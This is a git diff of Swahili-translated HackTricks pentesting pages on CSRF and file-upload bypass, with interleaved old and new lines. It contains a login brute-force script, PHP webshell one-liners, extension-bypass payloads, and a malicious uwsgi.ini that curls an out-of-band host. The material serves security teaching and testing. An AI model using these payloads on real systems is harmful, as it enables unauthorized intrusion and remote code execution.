Socket.IO ni mfumo wa programu-jalizi wa Node.js ambao hutoa mawasiliano ya wakati halisi kati ya seva na wateja. Inatumika sana katika maombi ya wavuti yanayohitaji mawasiliano ya wakati halisi, kama vile mazungumzo ya moja kwa moja na programu za michezo.
Kwa kuzingatia hilo, shambulio la CSRF linaweza kutokea katika programu-jalizi ya Socket.IO ikiwa hatua sahihi za usalama hazijachukuliwa. Ili kujilinda dhidi ya shambulio la CSRF katika Socket.IO, unaweza kuzingatia hatua zifuatazo:
1. Tumia njia ya uthibitishaji kama vile JWT (JSON Web Tokens) ili kuhakikisha kuwa kila ombi linakuwa na uwakilishi wa mtumiaji ulioidhinishwa.
2. Tumia kichujio cha kuingiza kwenye seva ili kuhakikisha kuwa ombi linatoka kwa chanzo sahihi.
3. Tumia kuki za HTTP (HTTP cookies) kwa uwakilishi wa mtumiaji na hakikisha kuwa kuki hizo zinawekwa kwa usalama (secure) na zinazuiliwa kutoka kwa kufikiwa na skripti za upande wa mteja (client-side scripts).
Kwa kuzingatia hatua hizi za usalama, unaweza kuzuia shambulio la CSRF katika programu-jalizi ya Socket.IO na kuhakikisha kuwa mawasiliano yako ya wakati halisi ni salama na salama kutoka kwa shambulio lolote la mtu wa tatu.
```html
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -797,9 +525,9 @@ room: username
});
</script>
```
## CSRF Kuvunja Nguvu ya Kuingia
## Kuvunja Nguvu ya Kuingia CSRF
Msimbo huu unaweza kutumika kuvunja nguvu ya fomu ya kuingia kwa kutumia ishara ya CSRF (Pia inatumia kichwa cha habari X-Forwarded-For kujaribu kuepuka uwezekano wa kuzuia IP):
Msimbo unaweza kutumika kuvunja nguvu fomu ya kuingia kwa kutumia tokeni ya CSRF (Pia inatumia kichwa cha X-Forwarded-For kujaribu kukiuka uwezekano wa kuzuia anwani ya IP):
```python
import request
import re
@ -843,7 +571,7 @@ with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Vifaa <a href="#vifaa" id="vifaa"></a>
## Vifaa <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
@ -857,18 +585,18 @@ login(USER, line.strip())
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa bug bounty!
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za udhaifu!
**Machapisho ya Udukuzi**\
Shiriki na yaliyomo yanayochunguza msisimko na changamoto za udukuzi
**Machapisho Kuhusu Udukuzi**\
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
**Habari za Udukuzi za Waktu Halisi**\
Kuwa na habari za sasa katika ulimwengu wa udukuzi kupitia habari na ufahamu wa wakati halisi
**Taarifa za Udukuzi za Muda Halisi**\
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia taarifa za muda halisi na ufahamu
**Matangazo ya Hivi Karibuni**\
Baki na habari za hivi karibuni kuhusu bug bounty mpya zinazoanzishwa na sasisho muhimu za jukwaa
**Matangazo ya Karibuni**\
Baki mwelewa na tuzo za udhaifu zinazoanzishwa na sasisho muhimu za jukwaa
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
@ -878,10 +606,10 @@ Baki na habari za hivi karibuni kuhusu bug bounty mpya zinazoanzishwa na sasisho
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kudukua** na kudukua yasiyodukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -35,11 +35,11 @@ Vifaa vingine vya kupendeza:
### Kupita Vipimo vya Uzazi wa Faili
1. Ikiwa wanatumia, **angalia** **vipimo vya awali.** Jaribu pia kwa kutumia **herufi kubwa**: _pHp, .pHP5, .PhAr ..._
1. Ikiwa wanatumia, **angalia** **vipimo vya awali.** Jaribu pia kwa kutumia herufi **kubwa**: _pHp, .pHP5, .PhAr ..._
2. _Angalia **kuongeza kipimo halali kabla** ya kipimo cha utekelezaji (tumia vipimo vilivyotangulia pia):_
* _faili.png.php_
* _faili.png.Php5_
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** ya **herufi za ascii** na **Unicode.** (_Tambua kwamba unaweza pia kujaribu kutumia **vipimo vilivyotajwa hapo awali**_)
3. Jaribu kuongeza **herufi maalum mwishoni.** Unaweza kutumia Burp kufanya **bruteforce** kwa herufi zote za **ascii** na **Unicode**. (_Tambua kwamba unaweza pia kujaribu kutumia **vipimo vilivyotajwa awali**_)
* _faili.php%20_
* _faili.php%0a_
* _faili.php%00_
@ -49,7 +49,7 @@ Vifaa vingine vya kupendeza:
* _faili._
* _faili.php...._
* _faili.pHp5...._
4. Jaribu kupita **ulinzi kwa kudanganya kipimo cha upanuzi** cha upande wa seva na mbinu kama **kuzidisha** **upanuzi** au **kuongeza takataka** (herufi za **null**) kati ya upanuzi. _Unaweza pia kutumia **vipimo vilivyotangulia** kuandaa mzigo bora._
4. Jaribu kupita kinga **kwa kudanganya kipimo cha ugunduzi** wa upande wa seva na mbinu kama **kuzidisha** **kipimo** au **kuongeza takataka** (herufi za **null**) kati ya vipimo. _Unaweza pia kutumia **vipimo vilivyotangulia** kuandaa mzigo bora._
* _faili.png.php_
* _faili.png.pHp5_
* _faili.php#.png_
@ -58,13 +58,13 @@ Vifaa vingine vya kupendeza:
* _faili.php%0a.png_
* _faili.php%0d%0a.png_
* _faili.phpJunk123png_
5. Ongeza **safu nyingine ya upanuzi** kwa ukaguzi uliopita:
5. Ongeza **safu nyingine ya vipimo** kwa ukaguzi uliopita:
* _faili.png.jpg.php_
* _faili.php%00.png%00.jpg_
6. Jaribu kuweka **upanuzi wa utekelezaji kabla ya upanuzi halali** na omba ili seva iwe na hitilafu. (inayoweza kutumika kudanganya hitilafu za Apache ambapo chochote chenye upanuzi wa **.php**, lakini **sio lazima kumalizika kwa .php** itatekeleza nambari):
6. Jaribu kuweka **kipimo cha utekelezaji kabla ya kipimo halali** na omba ili seva iwe na hitilafu. (inayoweza kutumika kudukua hitilafu za Apache ambapo chochote chenye kipimo cha _**.php**_**, lakini** sio lazima kumalizika kwa .php\*\* itatekeleza kanuni):
* _kwa mfano: faili.php.png_
7. Kutumia **NTFS alternate data stream (ADS)** kwenye **Windows**. Katika kesi hii, herufi ya mkato “:” itawekwa baada ya upanuzi uliopigwa marufuku na kabla ya moja inayoruhusiwa. Matokeo yake, **faili tupu yenye upanuzi uliopigwa marufuku** itaundwa kwenye seva (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa “**::$data**” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya kipindi baada ya mtindo huu pia inaweza kuwa na manufaa kwa kupita vizuizi zaidi (.k.m. “faili.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Upanuzi halali unakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
7. Kutumia **Mto wa Data Mbadala wa NTFS (ADS)** katika **Windows**. Katika kesi hii, herufi ya mkato “:” itawekwa baada ya kipimo kilichozuiliwa na kabla ya kimoja kilichoruhusiwa. Kama matokeo, **faili tupu yenye kipimo kilichozuiliwa** itaundwa kwenye seva (k.m. “faili.asax:.jpg”). Faili hii inaweza kuhaririwa baadaye kwa kutumia mbinu zingine kama kutumia jina lake fupi. Mtindo wa “**::$data**” pia unaweza kutumika kuunda faili zisizo tupu. Kwa hivyo, kuongeza herufi ya kipimo baada ya mtindo huu kunaweza pia kuwa na manufaa kwa kupita vizuizi zaidi (.k.m. “faili.asp::$data.”)
8. Jaribu kuvunja mipaka ya jina la faili. Kipimo halali kinakatwa. Na PHP yenye nia mbaya inabaki. AAA<--SNIP-->AAA.php
```
# Linux kiwango cha juu 255 herufi
@ -76,54 +76,54 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Unda mzigo
AAA<--SNIP 232 A-->AAA.php.png
```
### Kudukua Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Ubadilishaji wa Picha
### Kupita kwa Aina ya Yaliyomo, Nambari ya Ajabu, Ufupishaji & Kurekebisha
* Kudukua ukaguzi wa **Aina ya Yaliyomo** kwa kuweka **thamani** ya **kichwa cha habari cha Aina ya Yaliyomo** kuwa: _picha/png_, _maandishi/rahisi, maombi/octet-stream_
* Pita kwa **maelezo ya Aina ya Yaliyomo** kwa kuweka **thamani** ya **kichwa cha Aina ya Yaliyomo** kuwa: _picha/png_, _maandishi/rahisi, maombi/octet-stream_
1. Orodha ya maneno ya Aina ya Yaliyomo: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Kudukua ukaguzi wa **nambari ya ajabu** kwa kuongeza mwanzoni mwa faili **bayti za picha halisi** (kuchanganya amri ya _file_). Au weka kabati ndani ya **metadata**:\
* Pita kwa ukaguzi wa **nambari ya ajabu** kwa kuongeza mwanzoni mwa faili **bayti za picha halisi** (kuchanganya amri ya _faili_). Au weka kabla ya **metadata**:\
`exiftool -Comment="<?php echo 'Amri:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` au unaweza pia **kuweka mzigo moja kwa moja** katika picha:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Ikiwa **ufupishaji unawekwa kwenye picha yako**, kwa mfano kutumia maktaba za PHP kama [PHP-GD](https://www.php.net/manual/fr/book.image.php) za kawaida, mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **kikundi cha PLTE** [**mbinu iliyoelezwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
* Ikiwa **ufupishaji unawekwa kwenye picha yako**, kwa mfano kutumia maktaba za PHP za kawaida kama [PHP-GD](https://www.php.net/manual/fr/book.image.php), mbinu za awali hazitakuwa na manufaa. Hata hivyo, unaweza kutumia **kitengo cha PLTE** [**mbinu iliyoelezwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* Ukurasa wa wavuti unaweza pia kuwa **kurekebisha** **picha**, kwa kutumia kwa mfano PHP-GD functions `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **kikundi cha IDAT** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
* Ukurasa wa wavuti unaweza pia kuwa **kurekebisha** **picha**, kwa kutumia kwa mfano PHP-GD functions `imagecopyresized` au `imagecopyresampled`. Hata hivyo, unaweza kutumia **kitengo cha IDAT** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Mbinu nyingine ya kufanya mzigo ambao **utasurvive ufupishaji wa picha**, kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **kikundi cha tEXt** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yatasurvive ufupishaji.
* Mbinu nyingine ya kufanya mzigo ambao **utapita kwa kurekebisha picha**, kutumia kazi ya PHP-GD `thumbnailImage`. Hata hivyo, unaweza kutumia **kitengo cha tEXt** [**mtego uliofafanuliwa hapa**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kuingiza maandishi ambayo yata **kupita kwa ufupishaji**.
* [**Github na nambari**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Mbinu Nyingine za Kukagua
* Tafuta udhaifu wa **kubadilisha jina** la faili tayari iliyopakiwa (kubadilisha kificho).
* Tafuta udhaifu wa **Ujumuishaji wa Faili za Lokali** ili kutekeleza mlango wa nyuma.
* Tafuta udhaifu wa **Ujumuishaji wa Faili za Lokali** kutekeleza mlango wa nyuma.
* **Ufunuo wa Taarifa Inayowezekana**:
1. Pakia **mara kadhaa** (na **wakati huo huo**) **faili ile ile** na **jina moja**
1. Pakia **mara kadhaa** (na kwa **wakati mmoja**) **faili ile ile** na **jina lile lile**
2. Pakia faili yenye **jina** la **faili** au **folda** ambayo **tayari ipo**
3. Pakia faili na **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache kwenye **Windows**, ikiwa programu inahifadhi faili zilizopakiwa katika saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
3. Pakia faili yenye **“.”, “..”, au “…” kama jina lake**. Kwa mfano, katika Apache kwenye **Windows**, ikiwa programu inahifadhi faili zilizopakiwa kwenye saraka ya “/www/uploads/”, jina la faili “.” litasababisha faili iitwayo “uploads” katika saraka ya “/www/”.
4. Pakia faili ambayo huenda isifutwe kwa urahisi kama **“…:.jpg”** katika **NTFS**. (Windows)
5. Pakia faili katika **Windows** yenye **herufi zisizofaa** kama `|<>*?”` katika jina lake. (Windows)
6. Pakia faili katika **Windows** kutumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
6. Pakia faili katika **Windows** ukitumia **majina yaliyohifadhiwa** (**yaliyokatazwa**) kama CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, na LPT9.
* Jaribu pia **kupakia faili inayoweza kutekelezwa** (.exe) au **.html** (isiyo ya shaka) ambayo **itaendesha kificho** kwa bahati mbaya ikifunguliwa na muathiriwa.
### Mbinu Maalum za Uzalishaji
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia mbinu ya **.htaccess** kutekeleza kificho](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye seva ya **ASP**, [angalia mbinu ya **.config** kutekeleza kificho](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Ikiwa unajaribu kupakia faili kwenye **seva ya PHP**, [angalia **mtego wa .htaccess** kutekeleza kificho](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Ikiwa unajaribu kupakia faili kwenye seva ya **ASP**, [angalia **mtego wa .config** kutekeleza kificho](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuiendesha na php, au kuizingatia ndani ya hati...)
Faili za `.phar` ni kama `.jar` kwa java, lakini kwa php, na zinaweza **kutumika kama faili ya php** (kuitekeleza na php, au kuizingatia ndani ya hati...)
Upanuzi wa `.inc` mara nyingi hutumiwa kwa faili za php ambazo hutumiwa tu **kuagiza faili**, hivyo, kwa wakati fulani, mtu anaweza kuruhusu **upanuzi huu kutekelezwa**.
## **uWSGI RCE**
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya za \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa `$JETTY_BASE/webapps/` na tumaini kupata kabati!
Ikiwa unaweza kupakia faili ya XML kwenye seva ya Jetty unaweza kupata [RCE kwa sababu **faili mpya za \*.xml na \*.war zinashughulikiwa moja kwa moja**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Kwa hivyo, kama ilivyotajwa kwenye picha ifuatayo, pakia faili ya XML kwa `$JETTY_BASE/webapps/` na tumaini kupata shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
## **uWSGI RCE**
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa awali: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Kwa uchunguzi wa kina wa udhaifu huu angalia utafiti wa awali: [Udanganyifu wa uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumiwa katika seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya `.ini`. Faili za usanidi wa uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi, na waendeshaji. Hasa, waendeshaji wa '@', kutumika kama `@(jina la faili)`, umepangwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kubadilishwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Uandishi/Soma wa Faili wa Kiholela wakati faili ya usanidi ya `.ini` inaposhughulikiwa.
Udhaifu wa Utekelezaji wa Amri kwa Mbali (RCE) unaweza kutumika kwenye seva za uWSGI ikiwa mtu ana uwezo wa kurekebisha faili ya usanidi ya `.ini`. Faili za usanidi wa uWSGI hutumia sintaksia maalum kuingiza "vibambo" vya kichawi, nafasi, na waendeshaji. Hasa, waendeshaji wa '@', hutumiwa kama `@(jina la faili)`, imeundwa kuingiza maudhui ya faili. Kati ya mifumo mbalimbali inayoungwa mkono katika uWSGI, mpango wa "exec" ni hasa wenye nguvu, kuruhusu kusoma data kutoka kwa pato la kawaida la mchakato. Kipengele hiki kinaweza kutumiwa kwa madhumuni mabaya kama Utekelezaji wa Amri kwa Mbali au Uandishi/Soma wa Faili wa Kiholela wakati faili ya usanidi ya `.ini` inashughulikiwa.
Zingatia mfano ufuatao wa faili hatari ya `uwsgi.ini`, ikionyesha mifumo mbalimbali:
```ini
@ -143,14 +143,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kutekelezwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili iwekwe kwenye kisasa moja kwa moja. Kipengele cha kisasa moja kwa moja, ikiwa kimeanzishwa, kinarejesha faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
Utekelezaji wa mzigo unatokea wakati wa kuchambua faili ya usanidi. Ili usanidi uweze kuanzishwa na kuchambuliwa, mchakato wa uWSGI lazima uanzishwe upya (labda baada ya kushindwa au kutokana na shambulio la Kukataa Huduma) au faili lazima iwekwe kwa ajili ya kujipakia tena. Kipengele cha kujipakia tena, ikiwa kimeanzishwa, kinajipakia upya faili kwa vipindi vilivyowekwa baada ya kugundua mabadiliko.
Ni muhimu kuelewa asili ya kuchambua faili ya usanidi ya uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa kwenye faili ya binary (kama picha au PDF), ikiongeza wigo wa unyanyasaji unaowezekana.
Ni muhimu kuelewa asili ya kulegea ya uchambuzi wa faili ya usanidi wa uWSGI. Hasa, mzigo uliojadiliwa unaweza kuingizwa katika faili ya binary (kama picha au PDF), ikiongeza wigo wa unyanyasaji wa uwezekano.
## **Mbinu ya Kutuma Faili/Trick ya SSRF ya wget**
Katika baadhi ya matukio unaweza kukuta kwamba server inatumia **`wget`** kudownload faili na unaweza **kuashiria** **URL**. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kificho cha faili zilizopakuliwa iko ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, **ukaguzi huu unaweza kudukuliwa.**\
Urefu **maksimumu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi wahusika **236**. Unaweza **kudownload faili iitwayo "A"\*232+".php"+".gif"**, jina hili la faili litapita **ukaguzi** (kama katika mfano huu **".gif"** ni kielezo **sahihi**) lakini `wget` ita **badilisha** jina la faili kuwa **"A"\*232+".php"**.
Katika baadhi ya matukio unaweza kugundua kuwa server inatumia **`wget`** kudownload faili na unaweza **kuashiria** **URL**. Katika visa hivi, nambari inaweza kuwa inachunguza kwamba kipanuzi cha faili zilizopakuliwa kipo ndani ya orodha nyeupe ili kuhakikisha kuwa faili zinazoruhusiwa tu ndizo zitakazopakuliwa. Hata hivyo, **uchunguzi huu unaweza kudukuliwa.**\
Urefu **maksimumu** wa **jina la faili** katika **linux** ni **255**, hata hivyo, **wget** hukata majina ya faili hadi wahusika **236**. Unaweza **kudownload faili iliyoitwa "A"\*232+".php"+".gif"**, jina hili la faili litapita **uchunguzi** (kama katika mfano huu **".gif"** ni kipanuzi **halali**) lakini `wget` ita **badilisha** jina la faili kuwa **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -173,11 +173,11 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kudharau ukaguzi huu ni kufanya **seva ya HTTP ielekeze kwa faili tofauti**, hivyo URL ya awali itadharau ukaguzi kisha wget itadownload faili iliyeelekezwa na jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali**.
Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kudanganya ukaguzi huu ni kufanya **seva ya HTTP ielekeze kwa faili tofauti**, hivyo URL ya awali itadanganya ukaguzi kisha wget itadownload faili iliyeelekezwa na jina jipya. Hii **haitafanya kazi** **isipokuwa** wget inatumika na **parameter** `--trust-server-names` kwa sababu **wget itadownload ukurasa ulioelekezwa kwa jina la faili iliyotajwa kwenye URL ya awali**.
## Vifaa
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ni chombo imara kilichoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia njia mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, kuhakikisha tathmini kamili ya maombi ya wavuti.
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ni chombo imara kilichoundwa kusaidia Pentesters na Bug Hunters katika kujaribu mifumo ya kupakia faili. Inatumia mbinu mbalimbali za tuzo za mdudu kusahilisha mchakato wa kutambua na kutumia udhaifu, kuhakikisha tathmini kamili ya maombi ya wavuti.
## Kutoka kwa kupakia faili hadi udhaifu mwingine
@ -188,16 +188,16 @@ Tafadhali elewa kwamba **chaguo lingine** unaloweza kufikiria kwa kudharau ukagu
* [**XSS** katika kupakia faili ya picha (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Kupakia faili ya **JS** + **XSS** = [Udanganyifu wa **Wafanyikazi wa Huduma**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE katika kupakia svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Uelekezaji Wazi** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
* [**Udanganyifu wa Kufungua tena** kupitia kupakia faili ya svg](../open-redirect.md#open-redirect-uploading-svg-files)
